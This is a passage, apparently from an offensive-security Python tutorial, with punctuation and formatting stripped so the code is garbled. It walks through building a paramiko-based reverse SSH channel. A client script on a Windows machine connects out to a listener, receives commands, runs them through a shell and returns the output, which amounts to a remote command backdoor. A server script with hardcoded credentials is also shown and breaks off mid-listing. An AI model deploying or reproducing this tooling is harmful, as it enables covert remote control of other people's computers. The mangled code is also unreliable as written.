so with the basics donelet' modify our script to support running commands on our windows client over ssh of coursenormally when using sshyou use an ssh client to connect to an ssh serverbut because windows doesn' include an ssh server out-of-the-boxwe need to reverse this and send commands from our ssh server to the ssh client create new file called bh_sshrcmd py and enter the following:[ import threading import paramiko import subprocess def ssh_command(ipuserpasswdcommand)client paramiko sshclient(#client load_host_keys('/home/justinssh/known_hosts'client set_missing_host_key_policy(paramiko autoaddpolicy()client connect(ipusername=userpassword=passwdssh_session client get_transport(open_session(if ssh_session activessh_session send(commandprint ssh_session recv( )#read banner while truecommand ssh_session recv( #get the command from the ssh server trycmd_output subprocess check_output(commandshell=truessh_session send(cmd_outputexcept exception,essh_session send(str( )client close(return ssh_command( ''justin''lovesthepython','clientconnected'the first few lines are like our last program and the new stuff starts in the while trueloop also notice that the first command we send is clientconnected you'll see why when we create the other end of the ssh connection now create new file called bh_sshserver py and enter the followingimport socket import paramiko import threading import sys using the key from the paramiko demo files host_key paramiko rsakey(filename='test_rsa key'class server (paramiko serverinterface)def _init_(self)self event threading event(def check_channel_request(selfkindchanid)if kind ='session'return paramiko open_succeeded return paramiko open_failed_administratively_prohibited def check_auth_password(selfusernamepassword)if (username ='justin'and (password ='lovesthepython')return paramiko auth_successful return paramiko auth_failed server sys argv[ ssh_port int(sys argv[ ]trysock socket socket(socket af_inetsocket sock_streamsock setsockopt(socket sol_socketsocket so_reuseaddr sock bind((serverssh_port)sock listen( print '[+listening for connection